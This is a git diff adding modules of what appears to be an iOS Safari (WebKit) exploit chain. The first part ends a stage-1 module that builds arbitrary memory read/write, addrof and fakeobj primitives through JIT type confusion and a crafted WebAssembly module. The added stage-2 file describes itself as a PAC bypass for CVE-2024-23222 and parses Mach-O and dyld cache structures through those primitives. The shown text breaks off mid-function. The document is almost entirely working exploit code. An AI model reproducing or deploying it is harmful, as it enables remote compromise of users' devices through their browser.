+ while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + "uo" in o; + let u = o.p1; + if (t) u = e; + c[0] = u[1]; + l[0] = l[0] + 16; + u[1] = c[0]; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + }; + for (let t = 0; t < W; t++) { + if (t > j) { + h(false, true); + continue; + } + h(t % 2 && t < 256, t > 4096); + if (t == j) delete r.p2; + } + for (let t = 0; t < 1048576; t++) new Array(13.37, 13.37, 13.37, 13.37); + delete r.p1; + r.p1 = pm.fa; + r.p2 = 1; + h(false, false); + }, + ao: function (t) { + pm.tmput32[0] = t[0]; + pm.tmput32[1] = t[1] - 131072; + return pm.tmpFl[0]; + }, + fo: function (t) { + pm.fc.lo = t; + }, + wo: function () { + pm.gRWArray1 = [{}, {}, {}]; + let t = { + p1: 1, + p2: 1, + length: 16 + }; + Array.prototype.fill.call(t, 1.1); + let e = new Float64Array(8); + let n = new Uint32Array(e.buffer); + var i = []; + for (let t = 0; t < 16; t++) i[t] = {}; + pm.ref = i[7]; + pm.ref2 = i[8]; + var s = pm.ao([201527, 16783110]); + pm.far = [201527, 201527]; + pm.tmpOptArr = []; + for (let t = 0; t < 256; t++) pm.tmpOptArr[t] = { + a1: 3.14, + a2: 1.1 + }; + let o = { + b1: pm.ref2 + }; + o[0] = 1.1; + o[1] = 1.1; + o[2] = 1.1; + o[3] = 1.1; + o[4] = 1.1; + for (let t = 256; t < 512; t++) pm.tmpOptArr[t] = { + a1: 3.14, + a2: 1.1 + }; + let l = pm.tmpOptArr[256]; + l[0] = 1.1; + l[1] = 1.1; + l[2] = 1.1; + l[3] = 1.1; + l[4] = 1.1; + let c = pm.tmpOptArr[255]; + c[0] = 1.1; + c[1] = 1.1; + c[2] = 1.1; + c[3] = 1.1; + c[4] = 1.1; + pm.gRWArray1[0] = t; + pm.gRWArray1[2] = t; + pm.fc.lo = s; + pm.fc.co = o; + function h(t, n) { + let r = pm.gRWArray1[0]; + e[0] = r[2]; + e[1] = r[4]; + e[2] = r[5]; + e[3] = r[0]; + e[4] = r[1]; + r = pm.gRWArray1[2]; + r[t] = n; + } + for (let t = 0; t < 1048576; t++) h(1, 1.1); + m.po = function (n) { + o.b1 = n; + pm.gRWArray1[2] = t; + h(1, 1.1); + return L(e[0]); + }; + let u = new Array(1.1, 1.1, 1.1, 1.1); + u[0] = 1.1; + let a = [u, t]; + function f() { + let t = a[0]; + let n = a[1]; + t[2] = 3.3; + n[0] = e[0]; + useless[1] = 3.3; + e[0] = t[0]; + n[0] = e[1]; + return e[0]; + } + for (let t = 0; t < 1048576; t++) { + useless = new Array(1, 2, 3); + f(t + 3.3); + f(t + .1); + } + function w() { + let t = a[0]; + let n = a[1]; + t[2] = 3.3; + n[0] = e[0]; + useless[1] = 3.3; + t[0] = e[2]; + n[0] = e[1]; + } + for (let t = 0; t < 1048576; t++) { + useless = new Array(1, 2, 3); + w(t + 3.3, 13.37); + w(t + 3.3, 13.37); + } + pm.gRWArray1[0] = pm.fa[1]; + pm.fa[1] = null; + h(1, 3.14); + pm.far[0] = n[6]; + pm.far[1] = 16783110; + var p = pm.ao(pm.far); + pm.fo(p); + pm.far[1] = 16783104; + var y = pm.ao(pm.far); + pm.ref2Address = m.po(pm.ref2); + var b = m.po(o); + var A = m.po(l); + var U = m.po(c); + var g = A - b; + var d = U - b; + if (pm.ref2Address == 0x7ff8000000000000 || g != 32 && d != 32) { + pm.fo(y); + pm.gRWArray1[0] = t; + h(1, 3.14); + throw r; + } + if (d == 32) { + l = c; + c = null; + } + let B = m.po(u); + h(1, 1.1); + let x = e[4]; + pm.fc.co = o; + pm.gRWArray1[2] = pm.gRWArray1[0]; + h(5, K(B + 8)); + pm.gRWArray1[2] = t; + for (let t = 0; t < 8388608; t++) { + f(t + 13.37); + w(13.38, 13.38); + } + function v(t) { + a[1] = l; + e[0] = K(t); + e[1] = x; + return L(f()); + } + function T(t, n) { + a[1] = l; + e[0] = K(t); + e[1] = x; + e[2] = K(n); + w(); + } + function C(t, n) { + a[1] = l; + e[0] = K(t); + e[1] = x; + e[2] = n; + w(); + } + m.mo = v; + m.yo = T; + m.bo = C; + let P = {}; + P[0] = .1; + objectForCellAddr = m.po(P); + pm.far[0] = v(objectForCellAddr - 4) / R; + pm.far[1] = 16783110; + pm.fo(pm.ao(pm.far)); + }, + Ao: function () { + o(""); + let t = new Array(4096).fill(13.37); + function e() { + return t.length; + } + pm.testobj = { + a: 1 + }; + pm.testobjAddr = m.po(pm.testobj) + 16; + m.po = function (t) { + pm.testobj.a = t; + return m.mo(pm.testobjAddr); + }; + m.so = (t) => m.po(t); + for (let t = 0; t < 1048576; t++) e(t + .1); + for (let n = 0; n < 1048576; n++) { + m.po(t); + e(n + .1); + } + for (let n = 0; n < 1048576; n++) { + m.so(t); + e(n + .1); + } + const n = m.po(t); + const r = m.mo(n + 8); + m.Ys = function (t) { + m.yo(n + 8, t + 8); + let i = e(); + m.yo(n + 8, r); + return i >>> 0; + }; + m.Zs = function (t) { + return m.Ys(t) + (m.Ys(t + 4) & 127) * 4294967296; + }; + m.Uo = function (t) { + return m.Ys(t) + (m.Ys(t + 4) & 32767) * 4294967296; + }; + m.do = function (t) { + let e = m.Ys(t); + let n = m.Ys(t + 4); + return [e, n]; + }; + m.Bo = function (t, e) { + m.bo(t, e); + }; + m.xo = function (t, e) { + m.yo(t, e); + }; + m.vo = function (t, e, n) { + U[0] = e; + U[1] = n; + m.Bo(t, g[0]); + }; + m.To = function (t) { + let e = m.do(t); + U[0] = e[0]; + U[1] = e[1]; + return g[0]; + }; + }, + test: function () { + o(""); + let [t, e] = S(16); + t[0] = 4919; + t[1] = 16705; + let n = m.do(e); + if (n[0] !== 4919 || n[1] !== 16705) throw new Error("n[0] !== 4919 || n[1] !== 16705"); + o(""); + m.xo(e, 57005); + if (t[0] !== 57005) throw new Error("t[0] !== 57005"); + o(""); + }, + zr: function () { + o(""); + for (let t = 0; t < pm.tmpOptArr.length; t++) pm.tmpOptArr[t] = null; + pm.tmpOptArr = null; + m.vo(pm.ref2Address + 24, m.Zs(m.po(pm.ref) + 24)); + pm.gRWArray1[0] = null; + pm.gRWArray1[2] = null; + pm.ref2 = null; + } + }; + async function $() { + o(""); + function e(t) { + if (typeof t == "bigint") { + J[0] = t; + t = V[0] + (V[1] & 127) * 4294967296; + } + let e = m.Ys(t); + let n = m.Ys(t + 4); + V[0] = e; + V[1] = n; + return J[0]; + } + function n(t, e) { + if (typeof t == "bigint") { + J[0] = t; + t = V[0] + (V[1] & 127) * 4294967296; + } + m.Bo(t, e); + } + function r(t) { + pm.testobj.a = t; + return e(pm.testobjAddr); + } + pm.init(); + pm.wo(); + pm.Ao(); + pm.test(); + const i = (t) => { + const n = r(t); + o(""); + const i = e(n + rt(tt[w])); + o(""); + const s = i + rt(tt[c]); + const l = e(s); + return [i, s, l]; + }; + const s = r(t.os); + const [l, h, a] = i(t.es); + const [f, p, y] = i(t.ss); + o(""); + o(""); + o(""); + n(f + rt(tt[u]), -0); + n(l + rt(tt[u]), -0); + n(h, t.Oi.wn(p)); + pm.cleanup(); + t.ws = f; + t.ds = y; + t.ys = l; + t.As = a; + t.Us = s; + } + async function q() { + const e = t; + self.postMessage({ + type: i + }); + self.setTimeout(() => { + const t = e.getObjectAddress(e.es); + o(""); + const n = e.read64(t + rt(tt[w])); + o(""); + const r = e.read64(n + rt(tt[a])); + o(""); + const i = e.read64(t + rt(tt[p])); + o(""); + const s = e.read64(n + rt(tt[f])); + o(""); + const l = e.read64(r + rt(tt[Q])); + o(""); + const h = e.read64(r + rt(tt[X])); + o(""); + const m = e.read64(h + rt(tt[Y])); + o(""); + const y = e.read64(h + rt(tt[X])); + o(""); + const b = e.read64(h + rt(tt[Q])); + o(""); + const A = (t) => { + const e = readBigPtr(inst_jsptr + rt(tt[w])); + const n = e + rt(tt[c]); + const r = readBigPtr(n); + return [e, n, r]; + }; + const U = () => { + for (let t = -0x1800n; t > -0x3000n; t -= 0x8n) { + const n = b - t; + if (e.read64(n) == 0xfffe000000055432n && e.read64(n + 0x8n * 2n) == 0xfffe000000055432n && e.read64(n + 0x8n * 3n) == 0xfffe0000000ff432n && e.read64(n + 0x8n * 5n) == 0xfffe0000000ff432n) { + o(""); + const t = e.read64(n + 0x8n * 1n); + const r = e.read64(t + 0x8n); + o(""); + const i = e.read64(n + 0x8n * 4n); + const s = e.read64(i + 0x8n); + o(""); + o(""); + o(""); + o(""); + const l = e.read64(r); + o(""); + const h = e.read64(l + rt(tt[w])); + o(""); + const a = h + rt(tt[c]); + o(""); + const f = e.read64(r + 0x8n); + o(""); + const p = e.read64(f + rt(tt[w])); + o(""); + const m = p + rt(tt[c]); + o(""); + e.write64(p + rt(tt[u]), 0x8000000000000000n); + e.write64(h + rt(tt[u]), 0x8000000000000000n); + e.write64(a, m); + e.write64(s + 0x0n, p); + e.write64(s + 0x8n, m); + e.write64(s + 0x10n, h); + e.write64(s + 0x18n, a); + e.write64(s + 0x20n, t); + e.write64(s + 0x28n, 0x0n); + return; + } + } + self.setTimeout(U, 10); + }; + self.setTimeout(U, 0); + }, 120); + } + o(""); + try { + await $(); + await q(); + } catch (t) { + if (t === r) self.postMessage({ + type: r + });else throw t; + } + }; + const ht = async (t) => { + o(""); + const e = JSON.parse("[0.0, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 10.10]"); + const c = new ut(); + const h = c.os; + e[0] = c.Oi.wn(0xdeadn); + e[1] = -0; + h[0] = c.es; + h[1] = c.ss; + const u = () => { + const n = [349234, h, 349234, 1045554, e, 1045554]; + const r = (t, ...e) => { + try { + r(t + 1, ...n, ...e); + } catch (t) {} + }; + r(0, n); + if (e[5] !== 6.6) { + o(""); + try { + o(""); + c.ws = c.Oi.Co(e[0]); + c.ds = c.Oi.Co(e[1]); + c.ys = c.Oi.Co(e[2]); + c.As = c.Oi.Co(e[3]); + c.Us = c.Oi.Co(e[4]); + P.platformState.exploitPrimitive = c; + t(); + } catch (t) { + o(t); + } + } else window.setTimeout(u, 0); + }; + const a = () => { + const t = q.toString(); + const e = "(" + t.toString() + ")()"; + const c = URL.createObjectURL(new Blob([e], { + type: "text/javascript" + })); + const h = new Worker(c); + URL.revokeObjectURL(c); + o(""); + h.onerror = (t) => { + o(""); + }; + h.onmessage = (t) => { + if (t.data.type === n) ;else if (t.data.type === r) { + o(""); + h.terminate(); + a(); + } else if (t.data.type === i) { + o(""); + window.setTimeout(u, 0); + } + }; + h.postMessage({ + type: s, + xn: l + }); + }; + a(); + }; + class ut { + addrof(t) { + return x.K(this.getObjectAddress(t)); + } + readStringFromInt64(t, e = 256) { + const n = x.O(t.yt()); + return this.readString(n, e); + } + readInt64FromOffset(t) { + const e = this.read32(x.O(t)); + const n = this.read32(x.O(t + 4)); + return new x.Int64(e, n); + } + read32FromInt64(t) { + return this.read32(x.O(t.yt())); + } + readInt64FromInt64(t) { + return this.readInt64FromOffset(t.yt()); + } + writeInt64ToOffset(t, e) { + const n = x.O(t); + const r = e.Nt(); + this.write64(n, r); + } + readDoubleAsPointer(t, e = false) { + const n = this.read32(x.O(t)); + let r = this.read32(x.O(t + 4)); + if (e === true || tt[Z]) r &= st; + return x.T(n, r); + } + readRawBigInt(t) { + return this.readInt64FromOffset(t).yt(); + } + busyWait(t, e = 768) { + for (let t = 0; t < e; t += 8) o(""); + } + copyBigInt(t, e) { + this.write64(x.O(t), x.O(e)); + } + fakeobj(t) { + if (t instanceof ArrayBuffer) t = new Uint8Array(t); + const e = this.getObjectAddress(t); + return x.K(lt(this.read64(e + rt(tt[m])))); + } + withTempOverrides(t, ...e) { + const n = new Array(e.length + 10); + for (let t = 0; t < e.length; t++) n[t] = this.readInt64FromOffset(e[t].Ir); + try { + for (let t = 0; t < e.length; t++) this.writeInt64ToOffset(e[t].Ir, e[t].Zt); + t(); + } finally { + for (let t = 0; t < e.length; t++) this.writeInt64ToOffset(e[t].Ir, n[t]); + } + } + constructor() { + const t = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 9, 2, 96, 0, 1, 126, 96, 1, 126, 0, 3, 3, 2, 0, 1, 4, 4, 1, 111, 0, 1, 5, 3, 1, 0, 1, 6, 82, 8, 123, 1, 253, 12, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 11, 126, 1, 66, 205, 215, 182, 222, 218, 249, 234, 230, 171, 127, 11, 123, 1, 253, 12, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 11, 111, 1, 208, 111, 11, 111, 1, 208, 111, 11, 111, 1, 208, 111, 11, 111, 1, 208, 111, 11, 111, 1, 208, 111, 11, 7, 29, 4, 4, 101, 100, 102, 121, 3, 1, 6, 109, 101, 109, 111, 114, 121, 2, 0, 3, 98, 116, 108, 0, 0, 3, 97, 108, 116, 0, 1, 10, 13, 2, 4, 0, 35, 1, 11, 6, 0, 32, 0, 36, 1, 11]); + const e = (t) => t.exports["btl"](); + const n = (t, e) => { + t.exports["alt"](e); + }; + this.ts = []; + const r = new WebAssembly.Module(t, {}); + this.es = new WebAssembly.Instance(r, {}); + this.es[0] = 3; + this.rs = e.bind(null, this.es); + this.ns = n.bind(null, this.es); + this.ss = new WebAssembly.Instance(r, {}); + this.ss[0] = 3; + this.ls = e.bind(null, this.ss); + this.hs = n.bind(null, this.ss); + this.os = [{}, 1, 8]; + this.os["q23"] = 90; + this.Qi = new ArrayBuffer(16); + this.fs = new Uint32Array(this.Qi); + this.cs = new BigUint64Array(this.Qi); + this.bs = new ArrayBuffer(32); + this.us = new DataView(this.bs); + this.Oi = new ft(); + const i = 0n; + for (let t = 0; t < 1; t++) { + this.rs(); + this.ls(); + this.ns(i); + this.hs(i); + } + this.Po = 1; + this.Fo = 2; + this.No = 4; + this.ko = 8; + this.Io = new at(this); + } + So() { + return this.Io; + } + storeExploitState(t, e, n, r, i) { + this.ws = this.Oi.Bn(t); + this.ds = this.Oi.Bn(e); + this.ys = this.Oi.Bn(n); + this.As = this.Oi.Bn(r); + this.Us = this.Oi.Bn(i); + o(""); + o(""); + o(""); + o(""); + o(""); + } + cleanup() {} + writeToInstanceA(t) { + this.ns(t); + } + writeAndRead(t) { + this.writeToInstanceA(t); + return this.ls(); + } + writeAndWrite(t, e) { + this.writeToInstanceA(t); + return this.hs(e); + } + read64(t) { + this.cs[0] = this.writeAndRead(t); + return this.cs[0]; + } + getJITCodePointer(t) { + if (!(t instanceof Function)) throw new Error("!(t instanceof Function)"); + const e = this.getObjectAddress(t); + const n = this.read64(e + BigInt(tt[y])); + return n; + } + write32(t, e) { + if (typeof t === "bigint") { + const n = this.read64(t); + this.cs[0] = n; + this.fs[0] = e; + const r = this.cs[0]; + this.writeAndWrite(t, r); + } else return this.write32(x.O(t), e); + } + allocCString(t) { + const e = new Uint8Array(new ArrayBuffer(t.length + 1)); + for (let n = 0; n < t.length; n++) e[n] = t.charCodeAt(n); + return [e, this.getDataPointer(e)]; + } + allocZeroBuffer(t) { + const e = new Uint8Array(new ArrayBuffer(Number(t))); + const n = this.getDataPointer(e); + this.ts.push(e); + return n; + } + allocZeroBufferPair(t) { + const e = new Uint8Array(new ArrayBuffer(Number(t))); + const n = this.getDataPointer(e); + this.ts.push(e); + return [e, n]; + } + getDataPointer(t) { + if (t instanceof ArrayBuffer) t = new Uint8Array(t); + const e = this.getObjectAddress(t); + return lt(this.read64(e + 0x10n)); + } + patchByte(t, e) { + this.us.setBigUint64(0, this.read64(t), true); + this.us.setUint8(0, e, true); + this.write64(t, this.us.getBigUint64(0, true)); + } + readString(t, e = 768) { + let n = t; + if (typeof t === "number") n = x.O(t); + let r = ""; + for (let t = 0; t < e; t++) { + const e = this.readByte(n + BigInt(t)); + if (e === 0) break; + r += String.fromCharCode(e); + } + return r; + } + readByte(t) { + return this.read32(t) & 255; + } + read32(t) { + if (typeof t === "bigint") { + this.cs[0] = this.writeAndRead(t); + return this.fs[0]; + } else return this.read32(x.O(t)); + } + write64(t, e) { + return this.writeAndWrite(t, e); + } + getObjectAddress(t) { + this.os[0] = t; + const e = this.read64(this.Us + 0x8n); + const n = this.read64(e); + this.os[0] = null; + return n; + } + _o(t) { + if (!(t instanceof Uint32Array) && !(t instanceof BigUint64Array) && !(t instanceof Uint8Array) && !(t instanceof Uint16Array)) throw new Error("jsobj must be a BigUint64Array, or a Uint[8,16,32]Array"); + const e = this.getObjectAddress(t); + return S(this.read64(e + rt(globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags["iWQGB1"]))); + } + } + class at { + constructor(t) { + this.Wo = t; + } + jo(t) { + for (const [e, n] of t) for (let [t, r, i] of n) { + if (i === void 0 || i === null) i = 0x0n; + i = rt(i); + if (t != 8) i = Number(i.toString()); + switch (t) { + case 1: + this.Wo.patchByte(rt(e) + rt(r), i); + break; + case 2: + this.Wo.Ro(rt(e) + rt(r), i); + break; + case 4: + this.Wo.write32(rt(e) + rt(r), i); + break; + case 8: + this.Wo.write64(rt(e) + rt(r), i); + break; + default: + throw new Error("unreachable"); + } + } + } + } + class ft { + constructor() { + this.rn = new ArrayBuffer(16); + this.en = new DataView(this.rn); + } + un(t) { + this.en.setInt16(0, t, true); + return this.en.getInt16(0, true); + } + on(t) { + this.en.setUint16(0, t, true); + return this.en.getUint16(0, true); + } + sn(t) { + if (typeof t === "bigint") this.en.setBigUint64(0, t, true);else this.en.setUint32(0, t, true); + return this.en.getUint32(0, true); + } + hn(t, e) { + this.en.setFloat64(0, t, true); + this.en.setUint32(0, e, true); + return this.en.getFloat64(0, true); + } + cn(t, e) { + this.en.setFloat64(0, t, true); + this.en.setUint32(4, e, true); + return this.en.getFloat64(0, true); + } + fn(t) { + for (let e = 0; e < 8 / 2; e++) { + let n = t.charCodeAt(e); + if (Number.isNaN(n)) throw new Error("Number.isNaN(n)"); + this.en.setUint16(e * 2, n, true); + } + return this.en.getBigUint64(0, true); + } + an(t) { + this.en.setFloat32(0, t, true); + return this.en.getUint32(0, true); + } + wn(t) { + this.en.setBigUint64(0, t, true); + return this.en.getFloat64(0, true); + } + Co(t) { + this.en.setFloat64(0, t, true); + return this.en.getBigUint64(0, true); + } + gn(t, e) { + this.en.setBigUint64(0, t, true); + this.en.setUint8(0, Number(e)); + return this.en.getBigUint64(0, true); + } + ln(t, e) { + this.en.setBigUint64(0, t, true); + this.en.setUint32(0, Number(e), true); + return this.en.getBigUint64(0, true); + } + bn(t, e) { + this.en.setUint32(0, t, true); + this.en.setUint8(0, Number(e)); + return this.en.getUint32(0, true); + } + Un(t, e) { + this.en.setUint32(0, t, true); + this.en.setUint32(0, Number(e), true); + return this.en.getUint32(0, true); + } + Bn(t) { + this.en.setUint32(0, Number(t >>> 0), true); + this.en.setUint32(4, Number(t / 4294967296), true); + return this.en.getBigUint64(0, true); + } + mn(t, e) { + this.en.setBigUint64(0, t, true); + this.en.setUint32(0, Number(e), true); + return this.en.getBigUint64(0, true); + } + In(t) { + this.en.setBigUint64(0, t, true); + return this.en.getBigUint64(0, true); + } + } + if (navigator.constructor.name === "Navigator") { + et(); + ht(t); + } else { + o(""); + self.onmessage = (t) => { + o(""); + if (t.data.type === s) { + o(""); + l = t.data.xn; + et(); + ct(); + } + }; + } +} +async function X() { + await new Promise((t) => { + try { + q(t, P.platformState.iOSVersion); + } catch (t) { + P.platformState.exploitPrimitive = void 0; + } + }); + return P.platformState.exploitPrimitive; +} +r.si = X; +return r; \ No newline at end of file diff --git a/Stage2_16.3_16.5.1_seedbell.js b/Stage2_16.3_16.5.1_seedbell.js new file mode 100644 index 0000000..087c7bc --- /dev/null +++ b/Stage2_16.3_16.5.1_seedbell.js @@ -0,0 +1,1525 @@ +/** + * Stage 2: PAC (Pointer Authentication Code) Bypass via Intl.Segmenter Iterator Corruption + * Module hash: 17480ecc0120292fb6b8b19f2fa134385dcfd0fd + * + * This module implements the PAC bypass for CVE-2024-23222 by corrupting the + * Intl.Segmenter iterator vtable. By overwriting the vtable pointer of an + * ICU BreakIterator with PAC-signed gadget addresses, the exploit can invoke + * arbitrary PAC-signed function pointers, defeating ARM64e pointer authentication. + * + * Key capabilities: + * - Mach-O load command parser (Y / parseMachOHeaders, class tt / MachOImage) + * - dyld shared cache image list (class nt / ImageList) + * - Export trie parser (class nr / ExportTrieParser, class tr / TrieNodeReader) + * - ARM64 gadget finder (class or / ARM64GadgetFinder) + * - Intl.Segmenter vtable corruption for PAC bypass (const en / SegmenterExploit) + * - Segmenter offset constants (const tn/on / segmenterOffsets) + * - PAC bypass classes (class it / PACBypassBase, class nn / PACBypass) + * - stripPACBits helper (function cn / stripPACBits) + * + * Module dependencies: + * - 57620206d62079baad0e57e6d9ec93120c0f5247 (utility_module.js) + * - 14669ca3b1519ba2a8f40be287f646d4d7593eb0 (platform_module.js) + */ + +let r = {}; +globalThis.moduleManager.evalCode("ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8", function () { + let r = {}; + + // ════════════════════════════════════════════════════════════════════════════ + // Module imports (first code section - Int64-based Mach-O parser) + // ════════════════════════════════════════════════════════════════════════════ + + const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), // utility_module + { + N: G // toHexString + } = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"), // platform_module + { + zn: F // platform info object + } = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"), + Z = F.Ln; // memory accessor + + // ════════════════════════════════════════════════════════════════════════════ + // Mach-O parser (function Y / parseMachOHeaders and class tt / MachOImage) + // ════════════════════════════════════════════════════════════════════════════ + + /* Original: parseMachOHeaders */ + function Y(t, r = !1) { + const e = platformModule.platformState.exploitPrimitive, // memory read/write primitives + n = e.read32FromInt64(t.H(16)); // number of load commands (ncmds) + let s = t.H(32), // pointer past mach_header_64 (start of load commands) + i = new utilityModule.Int64(0, 0), // ASLR slide + o = !0, // flag: is TEXT segment zero-based + h = !1, // flag: has symtab/dyld_info + c = null, // symtab/export offset + l = null, // resolved slide address + f = null, + a = 0, // symtab/export size + u = null, // __LINKEDIT adjusted pointer + d = null, // __auth_got address + w = null, // has LC_BUILD_VERSION + g = null, // build version platform + m = !1; // has LC_MAIN (MH_EXECUTE) + const E = []; // collected segments + for (let f = 0; f < n; f++) { + const n = e.read32FromInt64(s), // load command type (cmd) + f = e.read32FromInt64(s.H(4)); // load command size (cmdsize) + switch (n) { + case 15: // LC_MAIN (0x0F) — marks an executable + m = !0; + break; + case 50: // LC_BUILD_VERSION (0x32) + r && 1 === e.read32FromInt64(s.H(8)) && (w = !0, g = e.read32FromInt64(s.H(12))); + break; + case 25:{// LC_SEGMENT_64 (0x19) + const n = { + Xe: e.readStringFromInt64(s.H(8), 16), // segname (e.g. "__TEXT", "__LINKEDIT") + qe: e.readInt64FromInt64(s.H(24)), // vmaddr + Eo: e.readInt64FromInt64(s.H(24)), // vmaddr (duplicate read) + Oo: e.readInt64FromInt64(s.H(32)), // vmsize + Qe: e.readInt64FromInt64(s.H(40)), // fileoff + zo: e.readInt64FromInt64(s.H(48)), // filesize + $o: e.read32FromInt64(s.H(56)), // maxprot + qo: e.read32FromInt64(s.H(60)), // initprot + Mo: e.read32FromInt64(s.H(64)), // nsects + flags: e.read32FromInt64(s.H(68)), // flags + Do: s.H(72), // pointer to first section_64 + Lo: {}, // sections by name + dump() {} + }; + if (r) + for (let t = 0; t < n.Mo; t += 1) { + const r = n.Do.H(80 * t), // each section_64 is 80 bytes + s = { + Xe: e.readStringFromInt64(r.H(16), 16), // segname + Vo: e.readStringFromInt64(r.H(0), 16), // sectname + qe: e.readInt64FromInt64(r.H(32)), // addr + Oo: e.readInt64FromInt64(r.H(40)), // size + Qe: e.read32FromInt64(r.H(48)), // offset + dump() {} + }; + n.Lo[s.Vo] = s; + } + switch (E.push(n), n.Xe) { + case "__TEXT": // __TEXT segment — compute ASLR slide + n.Qe.Et() ? o = !1 : l = t.sub(n.Qe), i = t.sub(n.qe); + break; + case "__LINKEDIT": // __LINKEDIT segment — for symbol/export data + u = n.qe.add(i).sub(n.Qe); + break; + case "__AUTH_CONST": // __AUTH_CONST segment — PAC authenticated pointers + if (r) { + const t = n.Lo.__auth_got; // __auth_got section + void 0 !== t && (d = t.qe.add(i)); + } + } + break; + } + case 0x80000022 /* = LC_DYLD_INFO_ONLY */: + h = !0, c = e.read32FromInt64(s.H(40)), a = e.read32FromInt64(s.H(44)); + break; + case 0x80000033 /* = LC_DYLD_EXPORTS_TRIE */: + h = !0, c = e.read32FromInt64(s.H(8)), a = e.read32FromInt64(s.H(12)); + } + s = s.H(f); + } + let _ = i; + if (r && !o && !m) { + const r = e.read32FromInt64(t.H(4)); // cputype field from mach_header_64 + if (w && 0x0100000c /* CPU_TYPE_ARM64 variant */ === r && g >= 0xb0000 /* platform version threshold */) { + if (null === d) throw new Error("null === d"); + let t = e.readInt64FromInt64(d).Dt(); + if (t.Et()) throw new Error("t.Et()"); + for (t = t.Bt(t.it % 4096); + 0xFEEDFACF /* Not 0xFEEDFACF — searching for dyld cache header */ !== e.read32FromInt64(t);) t = t.Bt(4096); + const r = this.Xo(t); + l = r.Ho.Zo, _ = r.Ho.Ko; + } + } + // Rebase segment vmaddrs by ASLR slide + for (let t = 0; t < E.length; t++) { + const r = E[t], + e = r.qe; + r.qe = e.add(i); + } + return h && c && (f = u.H(c)), new tt({ + Go: t, // base address (mach_header pointer) + Jo: n, // ncmds + Qo: i, // ASLR slide + Yo: u, // __LINKEDIT adjusted base + Zo: l, // resolved slide address + Ko: _, // image base + th: f, // export/symtab data pointer + rh: a // export/symtab data size + }, E); + } + r.ur = function () { + return Y(platformModule.platformState.yn, !0); // parse the main executable + }, r.Xo = Y; + + /* Original: MachOImage — wraps parsed Mach-O headers */ + class tt { + constructor(t, r) { + this.Ho = t, this.eh = r, this.nh = new Uint8Array([]), this.sh = !1; + } + sr() { + return new rt(this); // create Int64-based export resolver + } + ar() { + return new et(this); // create BigInt-based export resolver + } + ih(t) { + const r = this.oh("_" + t); + return r ? this.Ho.Go.H(r) : new utilityModule.Int64(0, 0); + } + // Export trie lookup (Int64-based, inline byte-level ULEB128 parser) + oh(t) { + if (!1 === this.sh) { + this.sh = !0; + const t = new Uint32Array(this.Ho.rh + 3 >> 2); + for (let r = 0; r < t.length; r++) t[r] = platformModule.platformState.exploitPrimitive.read32FromInt64(this.Ho.th.H(4 * r)); + this.nh = new Uint8Array(t.buffer); + } + const r = this.nh; + let e = "", + n = 0, + s = !1; + for (; !s;) { + s = !0; + let i = 0, + o = 0; + // Read ULEB128 — terminal size + do { + i += (127 & 